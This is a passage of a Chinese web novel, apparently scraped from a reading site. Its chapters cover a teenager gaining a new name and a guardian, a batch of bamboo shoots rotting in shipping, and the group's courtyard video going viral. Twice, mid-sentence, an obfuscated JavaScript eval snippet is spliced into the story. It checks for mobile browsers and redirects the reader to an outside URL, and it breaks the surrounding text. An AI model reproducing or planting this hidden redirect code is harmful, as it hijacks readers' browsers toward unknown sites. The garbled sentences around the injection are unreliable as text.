“我知道。”她轻轻拍着她的背,“你不欠。” “我没有白吃他们的饭……我每一口都还了……” “嗯,还完了,早还完了。”李乘歌的下巴抵在她头顶,声音闷闷的,却很稳,“你不欠任何人。” 沈摘星的哭声越来越大,眼泪流得满脸都是,鼻涕也流出来了,她也不擦,就那么哭着。 那哭声在空旷的停车场里回荡,听得人心碎。 夏叙言的眼眶红了,他别过头去,用力眨了眨眼睛。 傅砚修低着头,攥紧了拳头。 宋鹤眠还握着她的手,那只手在抖,她握得更紧了一点。 五个人把她护在最中间。 没有人说话。 只是都在那儿。 阳光从头顶照下来,把他们六个人的影子叠在一起,分不清谁是谁。 哭了很久很久。 久到眼泪流干了,嗓子哭哑了,沈摘星才慢慢停下来。 她趴在李乘歌怀里,一抽一抽的,不说话。 李乘歌轻轻拍着她的背,一下一下的。 过了好一会儿,沈摘星闷闷地开口,声音哑得不像她:“乘歌姐姐。” “嗯?” “我们回家吧。” 李乘歌低头看她。 她把脸埋着,不肯抬起来。 但她说的是回家。 李乘歌笑了。 “好。”她说,“我们回家。” 回家的车上,沈摘星靠着窗,看着窗外飞快掠过的风景。折腾了一上午,她累了,眼皮慢慢沉下来。 李乘歌轻轻把她揽过来,让她靠在自己肩上。 沈摘星迷迷糊糊地蹭了蹭,很快就睡着了。 车子在院子门口停下。 沈摘星靠在李乘歌肩上,眼睛还肿着,一路上哭了太久,这会儿已经哭不出来了,只是安安静静地靠着。 “到了。”傅拭雪熄了火。 沈摘星动了动,慢慢抬起头,往外看了一眼。 然后她愣了一下。 门口站着三个人。 汪小雅,还是那身简单的衣服,手里拎着那个熟悉的公文包。 她旁边除了苏律师,还有一个之前来过的冉队长。 “汪阿姨……”沈摘星小声叫了一句。 汪小雅冲她笑了笑:“摘星,下车吧,有好消息。” 六个人下了车,站在门口。 冉队长走上前,蹲下来,平视着沈摘星。 “摘星,还记得我吗?” 沈摘星点点头。 冉队长笑了笑,从公文包里拿出文件。 “有两件事要告诉你。”她说,声音温和,“第一件——你的名字在公安部这里修改了。” 沈摘星愣住了。 冉队长把文件递到她面前。 “申请批了。”她说,“从上一次我去小院探查之后,回来就开始办这件事了。这是审批文件,你看看。” 沈摘星低头看着那份文件,上面写着她的新名字。 ——沈摘星。 她盯着那几个字,盯了很久,眼泪又开始在眼眶里打转。但她这次没有哭,只是用力点了点头。 “谢谢……”她声音哑哑的,“谢谢冉阿姨……” 冉队长笑了笑,伸手揉了揉她的脑袋。 “第二件事。”她说,声音清朗,“这份文件,是关于监护权的。” 冉队长把文件打开,递到她面前。 “沈摘星,十七岁,还有一年成年。按照程序,这期间需要指定一名临时监护人。”她顿了顿,看向旁边站着的李乘歌,“经审核,批准李乘歌同志担任你的临时监护人,直至你年满十八周岁。” 沈摘星彻底愣住了。 她转过头,看向李乘歌。 李乘歌也看着她,眼里带着笑。 “乘歌姐姐……” “嗯?” “你……你是我监护人了?” 李乘歌点点头,笑着伸出手:“以后请多指教,沈摘星小朋友。” 沈摘星低头看着那只伸过来的手。 她慢慢伸出手,握住,那只手很暖。 她忽然想起来,今天从法院出来的时候,也是这只手先握住她的。 她抬头看着李乘歌,眼眶红红的,但嘴角慢慢翘起来。 “那我……可以一直住在这儿了吗?” “当然。”李乘歌说,“这里本来就是你家。” 沈摘星点点头,眼泪终于掉下来,但这次是笑着掉的。 旁边,汪小雅把最后一份文件递给傅拭雪。 “第三件事。”她说,“市里新下达的帮扶农业文件。” “你们的农业项目,符合政策扶持条件。” 30. 笋烂 “有不清楚的,可以问我们。” 傅拭雪接过文件,低头看了看。 李乘歌往前靠了靠,肩并着肩,和他一起看那份文件。 阳光落在那份文件上,把上面的字照得清清楚楚:“农业电商扶持”“直播助农专项”“物流补贴”…… 夏叙言在旁边看着,没急着开口。他往前站了一步,目光从文件上扫过,停在那几个关键词上。 “物流补贴这个。”他指了指那行字,“是按单补还是按月补?有没有上限?” 冉队长看了他一眼,眼里带了些笑意:“具体的细则还在走流程,但按之前的惯例,应该是按月补,有上限,不过咱们这个体量,够用了。” 夏叙言点点头,没急着接话。他又翻了翻后面的几页,目光在几个数字上停了停。 “这个‘专项扶持资金’的申请条件里,有一条‘年销售额不低于五十万’。”他抬起头,看向苏律师,“咱们现在这个阶段,肯定够不上。但有没有可能先申请‘培育期’的过渡政策?” 苏律师愣了一下,推了推眼镜:“你对这个很熟?” 夏叙言笑了笑,没多解释,只是说:“以前接触过一点。” 苏律师点点头,翻开手里的本子看了看:“是有过渡政策,但需要提交一份详细的运营计划书。” “这个可以。”夏叙言说,“回头我们商量一下,尽快弄出来。” 傅砚修在旁边看了他一眼,没说话,但眼神里多了点什么。 沈摘星站在旁边,听着这些话,她低头看了看自己手腕上那对银镯子。 阳光落在上面,亮亮的。 她忽然想起今天早上出门的时候,还怕得不行。 现在太阳还没落山,她已经有了新名字,有了监护人,有了家。 还有院子里站着的这五个人。 她抬起头,看着他们。 大家正跟苏律师打听政策的事,问得特别认真。傅拭雪和李乘歌还凑在一起看那份文件,肩膀挨着肩膀。夏叙言在旁边时不时插一句,每一句都问在点子上,把苏律师问得频频点头。傅砚修站在夏叙言旁边,偶尔在电脑上记着。宋鹤眠安静地听着,目光时不时扫过文件上的字。 阳光洒下来,把每个人的影子都拉得很长。 沈摘星看着他们,忽然觉得,今天早上那些怕,好像已经是很久以前的事了。 她低头看了看自己那只被李乘歌握过的手,还留着一点温度。 送走汪小雅、冉队长和苏律师后,院子里重新安静下来。 午饭是二伯母张罗的,简简单单下了几碗面。 大家围坐在石桌旁,沈摘星吃得比平时慢,但把碗里的面吃得干干净净。她放下筷子的时候,李乘歌看了一眼,什么也没说,只是伸手揉了揉她的头发。 “下午我和傅拭雪回一趟建国叔家。”李乘歌说,“那边的笋该处理了。” 夏叙言点点头:“我们几个留这边收拾。” 傅砚修已经站起来开始收碗了。宋鹤眠接过沈摘星手里的空碗,转身往灶房走,沈摘星跟在后面。 “走吧。”傅拭雪站起来,“早去早回。” 车子开到卫家小院门口,还没停稳,傅拭雪就看见了卫建国。 人蹲在院子里,面前摆着一个拆开的纸箱。他低着头,一动不动得像一尊石像。 傅拭雪下车,走近了几步,“建国叔?” 卫建国抬起头,看了他一眼,又低下头去。 傅拭雪走到他身边,这才看清箱子里的东西。 是笋。 但已经不是笋了。 箱子里淌着一滩黑水,混着发黄的黏液,散发出一股刺鼻的腐臭味。那些笋,原本应该是嫩黄色的、带着泥土清香的春笋,此刻全都变成了深褐色,软塌塌地烂在箱子里。笋头上长出一层白毛,有几根已经完全黑透,像烧焦的木炭。 傅拭雪蹲下来,伸手碰了碰其中一根。 指尖刚一碰到,那层笋壳就塌了下去,露出里面已经烂成糊状的内里。黑水从破口处流出来,顺着他的手指往下淌。 “几天前发的。”卫建国开口,声音哑得厉害,“今天早上退回来了。说是路上耽搁了两天,到那边就成这样了。” 他顿了顿,指着箱子角落那张湿透的单子。 “这一箱,是要寄给沪上那个客户的。人家下单的时候还说,就等着这一口春笋尝鲜。” 傅拭雪没说话,只是蹲着,看那箱烂笋。 黑水从纸箱缝隙渗出来,一滴一滴,渗进他踩过无数次的泥土地。 李乘歌下车,走过来,在他旁边蹲下。 谁也没吭声。 院子里很安静。 过了很久,傅拭雪站起来,走到三轮车边。车斗里还放着几箱没拆的笋,用麻袋盖着,看不出好坏。他掀开麻袋,搬下来一箱,用钥匙划开封口的胶带。 这一箱比刚才那箱好一点,但也好不了多少。笋头已经发软,有几根开始渗水,凑近了能闻到一股发酵的酸味。 他又开了一箱,一样。 再开一箱,还是不行。 李乘歌走过来,站在他旁边,看着那些被打开的箱子。院子里很快摆了一排泡沫箱,每一箱都拆开了口子,每一箱的笋都蔫头耷脑,有几箱已经开始发黑。 卫建国坐在小板凳上,低着头,一句话也不说。 “路上走了几天?”傅拭雪问。 “三天。”卫建国的声音闷闷的,“以前两天就能到。这回不知道怎么回事,卡在转运站,硬是耽搁了一天一夜。” 傅拭雪没说话。 他看过那些快递单,广上、京城、海滨——都是远地方,都是这批笋想走出去的地方。可是路太远了,远到笋还没到就已经烂在路上。 李乘歌蹲在一箱笋旁边,伸手翻了翻。底下那几根已经完全坏了,拿起来的时候直接断成两截,断口处淌出一股黑水。 她没说话,只是把那几根坏笋挑出来,放在旁边。 卫建国看了一眼,嘴唇动了动,又低下头去。 院子里又安静下来。 只有挑笋的声音,一根一根,坏的放左边,还能留的放右边。挑着挑着,左边堆成了小山,右边只有寥寥几根。 “这箱是给谁家的?”傅拭雪忽然问,指着最早打开的那箱烂笋。 卫建国抬起头,看了一眼:“广上那个客户,姓陈。人家定了十斤,说是家里老太太就好这一口春笋。” 他顿了顿,声音更哑了:“昨儿个还给我打电话,问笋到了没有,老太太等着尝鲜呢。我说快了快了,明天就到。” 傅拭雪没说话,他看着那箱烂笋,看了很久。 然后他掏出手机,翻出那个客户的电话,按了下去,“喂,陈先生吗?我是卫家小院的。那个……您订的那箱笋,路上出了点问题。” 电话那头说了句什么。 傅拭雪顿了顿,又说:“全坏了,我们这边重新给您发一箱,今天就走,运费我们出。” 又说了几句,他挂了电话。 卫建国看着他,眼眶有点红,“小傅……” “没事。”傅拭雪收起手机,“这箱赔了,下一箱争取早点到。” 他转身,往灶房走去。走了两步,又回头看了一眼那堆烂笋。 “这些也别扔。看看有多少还能削一削,做笋干。”他说,“能救一点是一点。” 李乘歌站起来,看着他。 他站在阳光下,脸上没什么表情,但她知道他心里在想什么。 这批笋,是二伯母天不亮就上山,一根一根从泥里刨出来的。是他们蹲在直播前,一遍一遍跟人讲“这是黄泥拱,最嫩最甜”才换来的订单。是建国叔蹲在院子里,仔仔细细打包好,贴上单子,亲手寄出去的。现在它们烂在这儿,像一滩没法收拾的烂泥。 傅拭雪没再说别的,只是走进灶房,打了一盆水,端出来,放在那堆还能救的笋旁边。 李乘歌走过去,和他一起蹲下。 两人谁也没说话,就那样一根一根地洗笋、削笋、挑出还能吃的部分。 阳光从头顶照下来,把他们的影子叠在一起。 卫建国坐在小板凳上,看着这两个年轻人,嘴唇动了动,最后只挤出一句话:“我去找绳子,做笋干要用。” 卫建国去杂物房找绳子了。 院子里只剩下傅拭雪和李乘歌,并排蹲着,面前是那堆烂笋和一盆清水。 傅拭雪拿起一根笋,在手里掂了掂。笋头已经完全黑了,但根部还有一小截硬的。他用刀削掉黑烂的部分,露出里面淡黄色的笋肉,扔进旁边的清水里。 “这根还能要。”他说。 李乘歌接过来,在水里洗了洗,放到另一个干净的筐里。 两个人就这么一根一根地处理着,谁也没说话。 阳光慢慢移动,把他们的影子从西边拉到东边。 阿桂姐滚动着轮椅来到两人身旁。她没说话,只是坐在那儿,看着那堆烂笋,看了好一会儿。 “乘歌、拭雪。”她终于开口,声音比平时低了一点,“这几天我直播间开了几次,这几天的笋,好像又卖不出去了。” 李乘歌手上的动作顿了顿,其实她心里有数。春笋的季节快过了,市面上笋越来越多,价格也下来了。加上物流成本高,他们这点销量,快递那边根本压不下价。 阿桂姐低着头,没看他们,只是看着自己膝盖上那条洗得发白的薄毯。她的手搭在轮椅扶手上,指节微微蜷着,像是在攥着什么,又像只是不知道往哪儿放。 “我是不是……不行?”她忽然问。 李乘歌愣了一下,声音里打着颤:“阿桂姐?” “直播那个。”阿桂姐说,声音闷闷的,“我说话也不利索,普通话也说不好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310839|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人家可能都听不懂我在说什么。人家看别人直播间,都是年轻漂亮的小姑娘,谁愿意看我这个老婆子。” 她顿了顿。 “那些笋,都是好笋。大家一根一根从山上挖回来的,建国一家一家去收来。到我这儿,就卖不出去了。” 李乘歌放下手里的笋,蹲到她面前:“阿桂姐,不是您的问题。” 阿桂姐没看她,只是低着头。 “春笋的季节快过了,”李乘歌说,“市面上笋越来越多,价格都下来了。而且咱们物流成本高,不是您直播的问题。” 阿桂姐摇摇头:“你们安慰我。我知道自己不行。” 她抬起手,抹了抹眼角:“我就是个拖累。你们这些孩子,放着城里好好的日子不过,跑来陪我这个老婆子卖笋,结果还卖不出去。” 傅拭雪也放下手里的笋,走过来,蹲在她另一边。 “阿桂姐。”他说。 阿桂姐抬起头。 他看着她的眼睛,声音很稳:“这批笋卖不出去,不是您的问题。是路太远了,是快递太慢了,是市场行情不好。跟您没关系。” 阿桂姐看着他,眼眶红了。 “您直播间开一次,就多一个人知道咱们的笋。”他继续说,“多一个人知道,以后就多一个回头客。这账,不是这么算的。” 她没说话,只是看着他,眼眶红红的,嘴角却慢慢弯起来。 “真的?” “真的。” 李乘歌在旁边点点头:“阿桂姐,您信我们。” 阿桂姐低下头,好一会儿没说话。 然后她抬起手,又抹了抹眼角,这回是笑着抹的。 “信。”她说,“我当然信你们。” 李乘歌看着她,心里软了一下。她伸手,轻轻握住阿桂姐搭在轮椅上的那只手。 “我们还有刘叔呢,”她说,声音轻却稳,“他收咱们的笋收了这么多年,一直合作得挺好。阿桂姐,不用给自己太大的压力……” 话音未落,手机响了。 李乘歌掏出来一看,屏幕上跳动着三个字:老刘。 她愣了一下,抬头看了傅拭雪一眼,又看了看阿桂姐,按下接听键。 “喂,刘叔?” “哎,小李啊,建国呢,我这两天怎么联系不到他。” 李乘歌看了一眼杂物房的方向,建国叔还在里头翻找,进进出出的,估摸着是忙得顾不上手机。 “这几天建国叔在忙,刘叔您有事?” “小李啊,那我跟你说也是一样的。”老刘的声音从电话那头传来,“你们家这个笋,最近还有多少?” 李乘歌愣了一下:“还有不少呢,怎么了?” “我跟你说个事啊,”电话那头顿了顿,老刘的声音不像平时那么敞亮,压得有点低,“最近市场行情不太好,外地笋进来了,价格压得厉害。你们那个价格,现在走不动了。” 李乘歌的心往下沉了一点:“那刘叔你的意思是?” “我这边还能收,但价格得往下调一调。”老刘说,“特级的,六块。一级的,四块。二级的,两块。” 李乘歌沉默了几秒,这价格,比之前低了将近一半,“刘叔,这价格……” “我知道我知道。”老刘赶紧说,“但这也是没办法的事。你们考虑考虑,要是不行,就再等等看。” 挂了电话,李乘歌盯着手机看了好一会儿。 阿桂姐在旁边看着她的表情,没问,只是手里的动作慢了下来。 李乘歌抬起头,对上她的目光。 “阿桂姐。”她说。 阿桂姐没说话,就那么看着她。 李乘歌顿了顿,忽然想起什么,转头看向傅拭雪:“刚才那份文件呢?” 傅拭雪从口袋里掏出那叠文件,递给她。 李乘歌接过来,翻到其中一页,上面写着“农业电商扶持”“直播助农专项”“物流补贴”几个字。 她指着那行字,对阿桂姐说:“刚才汪姨来家里,还给我们带来这个文件。我们看看能不能申请申请。” 阿桂姐凑过来,眯着眼看着那些字。她识字不多,但“扶持”“补贴”这几个字,她看懂了。 “这是……能帮咱们的?” “嗯。”李乘歌点点头,“如果能申请下来,物流这块就能省不少钱。价格也能压下来一些。” 阿桂姐看着她,眼眶有点红,但没说话。 傅拭雪在旁边开口:“等回去跟夏叙言他们商量一下,看看具体怎么弄。” 李乘歌点点头。 阳光从头顶照下来,落在那份文件上,把那些字照得清清楚楚。 阿桂姐低头看着那堆烂笋,又看了看那份文件,嘴唇动了动。 “小傅、乘歌,”她说,“辛苦你们了。” 李乘歌伸手,握住她的手:“阿桂姐,我们不说这个。” 31. 流量 晚上吃饭的时候,李乘歌把事情说了。 桌上安静了几秒。 夏叙言没急着开口,他夹了一筷子菜,慢慢嚼完,才放下筷子。 “老刘那边,压了多少年的价了?” 李乘歌愣了一下:“……七八年吧,建国叔一直跟他合作。” 夏叙言点点头,没再接话,他垂着眼,在想着什么。 傅砚修看了他一眼,难得的没有憋着,直接说:“笋不等人,长老了就卖不出价了。” 夏叙言还是没吭声。 沈摘星小声说:“那……那怎么办?” 傅拭雪放下筷子,看向李乘歌:“现在库存多少?” “后山那边,还能出一批。加上这几天挖的,大概还有五六百斤。” 宋鹤眠端着碗,忽然开口:“有没有别的渠道?” 李乘歌摇摇头:“之前联系过几个,要么价格压得更低,要么要的量太少,不够运费。” “老刘这批货不要了,不是坏事。”夏叙言开口,他的声音比平时慢,在把脑子里的思路一点点摊开给人看,“他压价这么多年,建国叔一直没得选。现在他主动退,咱们反而有空档往外看看。” 他抬起头,看向傅拭雪,“国家扶持那个文件,不是下来了吗?咱们能不能趁着这波,走直发?” 傅拭雪看着他。 “不是走老刘那种批发。”夏叙言继续说,“是直接对着直播间下单的人发。一单三五斤,量小,但单价高。物流有补贴,成本就能压下来。” 李乘歌愣了一下,“可是咱们现在直播间的人不多……” “那就做。”夏叙言说,“老刘那边不要,正好把笋留着,慢慢发。一天发不了几十单,发几单也行。总比低价给批发商强。” 他顿了顿,“我们在直播的时候,可以从笋的本身展开。” “讲笋是怎么来的,讲什么黄泥拱,讲怎么挖的,讲怎么吃。不是对着镜头念稿子,是聊天。聊着聊着,人家就记住了。” 他端起碗喝了口水,然后继续说道,“那些外地笋便宜,那是因为量大,走的是批发。咱们走的是人。人家买一次,觉得好吃,就会买第二次。回头客多了,我们就能盘活。” 桌上安静了几秒。 傅砚修看着他,眼神里有点不一样的东西。他把本子往前推了推,上面已经列了几行字——拼多多、淘宝、抖音小店、物流对接、包装规格…… “电商平台分几种。”他说,声音不高,但每个字都很清楚,“拼多多门槛最低,个人店交个保证金就能开,适合咱们现在的情况。抖音小店也可以考虑,但需要持续直播带流量。淘宝现在竞争太大,新手很难做起来。” 他顿了顿,又补充道:“我明天先把这三个平台的入驻条件查清楚,看看哪个最适合咱们。另外包装规格也得定下来——三斤装、五斤装还是十斤装,得看快递首重怎么划算。” “物流方面,如果每天能稳定在三十单以上,可以找快递公司谈合作价。现在咱们量小,只能走散客价,但政策文件里那个物流补贴,是按单补的,一单能补两三块,基本能把运费差价填平。” 李乘歌凑过去看了一眼,本子上已经列了七八条,清清楚楚。 宋鹤眠放下筷子,拿起手机翻了翻:“我认识几个做电商的朋友,明天问问他们有没有靠谱的物流渠道,生鲜这块对时效要求高,得找做过农产品快递的。” 她抬起头,看向傅拭雪:“如果能把物流谈下来,成本还能再压一压。” 夏叙言在旁边开口:“我去跑批发市场。不光是看价格,也想看看人家怎么包装、怎么保鲜。咱们现在全是自己摸索,得学学人家的成熟经验。” 他想了想,又说:“顺道打听打听,除了笋,还有什么山货好走。万一能多几个品类,单量就容易起来了。” 李乘歌想了想:“政策那边我去跑。镇政府我熟,我是村里的人,那些人认识我,好说话。” 傅拭雪从头听到尾,最后说了一句话:“明天开始,咱们分头行动。晚上回来碰头,有什么算什么。” 大家点点头。 碗筷收拾完,灶房的水声停了。夏叙言把最后一只碗放进柜子里,甩了甩手上的水,打了个哈欠。 “困死了困死了,明天还得早起,我先撤了。” 他往屋里走,走了两步又回头,冲沈摘星挥挥手:“早点睡啊,别熬夜。” 沈摘星点点头,在他之后进了屋。 傅砚修把笔记本合上,站起来,活动了一下脖子。他看了一眼还坐在石凳上的宋鹤眠,顿了顿:“还不睡?” 宋鹤眠抬起头,月光落在她脸上,把那点淡淡的倦意照得清清楚楚。 “要睡了。”她说。 她站起来,把杯子拿在手里,往屋里走,经过他身边的时候,脚步顿了顿:“你也早点。” 声音很轻,像风吹过。 然后她进去了。 李乘歌坐在石凳上,没急着进去。 傅拭雪从灶房出来,走到她旁边,坐下。 两个人就那么坐着,谁也没说话。 过了好一会儿,李乘歌忽然开口:“你说,能行吗?” 傅拭雪转头看她。 月光落在她侧脸上,把她的轮廓照得很柔和。 “能。”他说。 李乘歌看着他。 他眼神安静,语气笃定,像是在说一个已经确定的事实。 “为什么这么肯定?” 傅拭雪沉默了一秒。 “因为不只你一个人在想办法。”他说,“大家都在呢。” 李乘歌愣了一下,然后她笑了,笑得眼睛弯起来,笑得心里某个地方,暖了一下。 “嗯。”她说。 风从院子里吹过,带着夜间的凉意和远处竹林的气息。 月亮很圆,星星很亮。 明天,又是新的一天。 - 深夜,万籁俱寂。 李乘歌躺在床上,翻来覆去睡不着。她摸出手机,点开相册,最近拍的视频太多了,满满当当挤了几十个。 她一条一条往下翻,翻着翻着,忽然想把这些剪在一起。 她打开剪辑软件,开始一条一条看素材。 第一个镜头,是大棚里的傅砚修。阳光从棚顶漏下来,把他整个人照得亮堂堂的。他蹲在那儿量坑,量完一个记一笔,量完一个记一笔,认真的像个做作业的小学生。 她看着这个画面,心里软了一下。 下一个,傍晚的院子。沈摘星靠在夏叙言肩膀上睡着了,小脸红扑扑的,呼吸轻轻的。夏叙言梗着脖子一动不敢动,但嘴角翘着,笑得像个傻子。夕阳从他们身后照过来,把两个人都镶上一层金边。 她忽然觉得眼睛有点热,手指继续划动。 井边的两个背影,蹲在那儿洗碗,一个洗一个接,安安静静的。洗到最后一个,沈摘星忽然抬头,冲着夏叙言笑了一下。 饭桌上乱成一团。抢肉的、被辣的、递水的、夹菜的,闹哄哄的,可是看着看着就想笑。 大棚里傅砚修被蚯蚓吓得原地跺脚,夏叙言笑得蹲在地上起不来,沈摘星捂着脸偷看,自己和傅拭雪站在不远处眼睛弯弯的。镜头晃得厉害,因为拍的人也在笑。 雨后早晨,两个人蹲着戳水洼,谁也不说话,就那么戳着。戳着戳着,沈摘星抬头冲夏叙言笑,他愣了愣,嘴角动了动。 她盯着这个画面,忽然觉得心里有什么东西满满的。 最后是傍晚收工,傅拭雪和她走在最后。她抬头看天,他也抬头。淡紫色的晚霞薄薄一层,然后两个人往里走。 院子里,灯已经亮了。 她把这些镜头拼在一起,配上轻轻的吉他声。没有解说,没有字幕,就是一个个日子,一张张脸。 导出的时候,她看着那个小小的进度条走完。 回想起这些日子。 那些太阳晒着的,风吹着的,笑出眼泪的,什么也不说只是背靠背的。 那些抢来的肉,递来的水,盖上的毯子,拽过去的被角。 原来她都拍下来了。 原来这些就是日子。 她点了发布。 屏幕闪了一下,跳出一行小字:你的视频已发布。 她靠在床头,看着窗外慢慢亮起来的天,忽然觉得有点困。 但又不想睡。 她点开那条刚发布的视频,从头到尾又看了一遍。 配乐是淡淡的吉他声,不吵,刚刚好。 评论区还没人,视频刚发出去,还在加载。 李乘歌盯着屏幕,等了一会儿。 第一条评论跳出来:“这个院子……好治愈啊。” 她笑了笑,把手机放在枕边,闭上眼睛。 窗外,天亮了。 先是鸡鸣声把夜撕开一道口子,然后雾气慢慢泛白,再然后,阳光从东边山脊后面探出头来,把整个山谷一点一点照亮。 清晨的阳光从窗帘缝隙里漏进来,落在李乘歌脸上。 她翻了个身,迷迷糊糊摸到手机,眯着眼看了一眼时间。 然后她愣住了。 屏幕上铺天盖地的消息提醒——小红点从屏幕顶端一直排到底部,99+的红色数字晃得她眼睛疼。 她揉了揉眼睛,点开那个视频平台。 昨晚睡觉前才剪辑好发出去的视频,这会儿播放量已经过了五十万。 评论区还在蹭蹭往上跳。 “哈哈哈哈哈哈哈这个D选项是什么鬼!‘建立初步联系,减少应激反应’——这是种地还是搞科研?” “蚯蚓进鞋里那段我笑到邻居敲门!那个原地跺脚的姿势太标准了!” “这个院子是什么神仙地方,每个人都好有意思!” “那个一本正经回答问题的帅哥,和那个被蚯蚓吓得跳起来的是兄弟吗?反差也太大了!” 李乘歌盯着屏幕,呆了足足十秒。她猛地坐起来,披上外套就往外跑。 院子里,傅拭雪正蹲在井边洗漱,听见动静,他抬起头,脸上还挂着水珠。 “视频火了。”李乘歌把手机递过去,“五十万播放。” 傅拭雪低头看了一眼,“你发的?” “嗯。”李乘歌看着他,“咱们之前直播,最多也就几十人看。” 傅拭雪抬起头。 “但这个视频。”李乘歌晃了晃手机,“五十万人看了。” 傅拭雪没说话,只是看着屏幕里那些评论。阳光落在他侧脸上,把那一点若有若无的笑意照得清清楚楚。 屋里,傅砚修推门出来,打着哈欠。看见两个人站在院子里,随口问了一句:“大清早的干嘛呢?” 李乘歌把手机转过去对着他。 傅砚修眯着眼看了两秒,屏幕里,他正在疯狂跺脚,嘴里喊着“出来出来出来”,然后一脚踩进泥坑,溅起的泥点子糊了自己一腿。 他沉默了。 “……你什么时候发的?” “昨晚。”李乘歌对上他的视线。 傅砚修的神情开始扭曲。 “你真发了呀?” 他的声音从喉咙里挤出来,带着一种垂死挣扎的绝望。他低头又看了一眼屏幕里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17310840|198833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那个正在疯狂跺脚的自己,脸上的表情像是被打翻了调色盘。 “这下好了。”他闭上眼睛,深吸一口气,“丢脸丢了个大的。” 李乘歌看着他,努力憋着笑:“现在评论区都在问你叫什么。” 傅砚修的脸更黑了。 “他们还给你起了个外号。” “……什么?” “蚯蚓哥。” 傅砚修站在原地,整个人像被雷劈了一样。 夏叙言从屋里探出脑袋,笑得直不起腰:“蚯蚓哥!哈哈哈哈哈哈——” 傅砚修抬眸看他一眼,那个眼神,像是想把夏叙言也扔进泥坑里。 夏叙言立刻躲到沈摘星后面,但笑声根本憋不住。 沈摘星站在门口,捂着嘴笑,笑得肩膀一抖一抖的,眼泪都快出来了。 傅砚修:“……” 傅拭雪终于没忍住,嘴角弯了弯。 阳光从老槐树的缝隙里洒下来,落在院子里每个人身上。 笑声飘得到处都是。 傅砚修站在那儿,看着手机屏幕里那个疯狂跺脚的自己,沉默了很久。 然后他叹了口气,有点认命地说,“只希望不要让认识我的人看到吧。” 话音刚落,夏叙言凑过来,盯着评论区看了几秒,忽然开口:“你们看,评论区风向变了。” 他把手机递过来。 屏幕上,最开始那些“哈哈哈哈”已经被顶下去,取而代之的是一些新的留言: “不是,这个院子的颜值是不是有点太高了??种地的都长这样那我马上去学种地。” “那个拿尺子量坑的帅哥真的不是在拍偶像剧吗?种个地都这么认真。” “所以这几个人到底是什么关系啊?一家人?朋友?怎么看起来像什么综艺阵容。” “有人在认真种地,有人在认真搞笑,还有个小姐姐在旁边岁月静好,这配置绝了好吧。” “那个被蚯蚓吓到的哈哈哈哈但仔细看长得也挺帅的,就是有点惨。” “有没有账号啊?想关注这种真实又有烟火气的日常,太治愈了。” “他们在种什么呀?那些苗看起来好新鲜,熟了能买吗。” …… 傅拭雪接过来看,手指快速划过屏幕。 “这批流量来得偶然。但偶然背后有必然——观众对真实三农内容的需求一直在,网络很多视频只是供给端大多是摆拍和剧本,观众早看累了。他们想看的是真的东西,真的农村,真的生活。咱们这儿,恰好是真的。咱们恰好踩中了这个空白。” 夏叙言收起笑,站在那儿听着。 傅拭雪继续说:“现在账号是李乘歌的个人号,零散发,没有定位。如果想承接这波流量,需要做几件事:第一,明确账号人设;第二,建立内容矩阵;第三,规划变现路径。” 宋鹤眠端着杯子,靠在门框上,听完点点头:“很标准的IP孵化逻辑。” 她看向傅拭雪:“如果要做,就不能只是随便拍拍。得有主线,有人物,有冲突,有连续性。把院子里的每个人、每件事,都变成内容的一部分。人设要立体,内容要有钩子,更新要有节奏。” 李乘歌站在那儿,听他们说完,才开口:“你们的意思是,把我们自己做成一个IP?” 夏叙言点点头:“对。不是卖货号,是生活号。先让人认识咱们,再让人认识咱们的东西。这个逻辑跑通了,后面带货是顺理成章的事。” “第一,账号定位:真实记录新农人返乡生活。这个赛道目前缺头部,咱们有天然优势——人够多,背景够反差,内容够真实。六个人,六个视角,可以覆盖的受众面比单一博主广得多。” “第二,内容矩阵:主账号发日常,我和傅拭雪可以开子账号发偏干货的内容,比如种植技术、农产品科普、农村生活实用技巧。其他人如果有意愿,也可以拍自己擅长的方向——比如宋鹤眠可以拍生活美学,傅砚修可以拍数据视角看农业,摘星可以拍山里孩子眼里的农村。” 傅砚修在旁边补充:“矩阵的好处是互相导流。主账号带子账号,子账号反哺主账号。粉丝想看哪一类内容,都有地方去。不会因为某个人暂时没出镜就掉粉。” 宋鹤眠没说话,但点了点头。 “第三,流量转化。”傅拭雪继续说,“先做人,再做货。等账号有一定粉丝基础,再通过直播和橱窗带货。农产品利润率低,必须走量,所以前期重心必须是内容,不是转化。” 夏叙言在旁边接话:“而且不能只卖笋。笋有季节限制,过了春就没货了。得把院子里有的东西都盘一盘——蔬菜、鸡蛋、干货、甚至以后可以做的腌菜腊肉,慢慢丰富品类。” 他想了想,又说:“还可以走预售模式,让粉丝看着东西长大,熟了再发。这种信任感是批发商给不了的。” 傅拭雪听着,目光从一个人身上移到另一个人身上。 最后落在李乘歌脸上。 “你觉得呢?” 李乘歌一直在听,没插话。这会儿抬起头,看着他。 “你们说的那些,我不太懂。”她说得语气很实,“但拍院子、拍人、拍这些东西,我会。” 她顿了顿,笑了笑:“山里长大的孩子,别的不行,但是干活,最在行。” 傅拭雪看着她,然后他转回头,看向其他人。 “那就这么定。”他说,声音不高,但每个人都听见了,“等大家把昨天定下的任务跑完,晚上回来碰头,把账号方向敲定。” 他目光扫过院子里每一张脸:“账号叫什么,今晚想出来。明天开始,正式做。” 32. 信息 大家用过早饭之后就分头行动了。 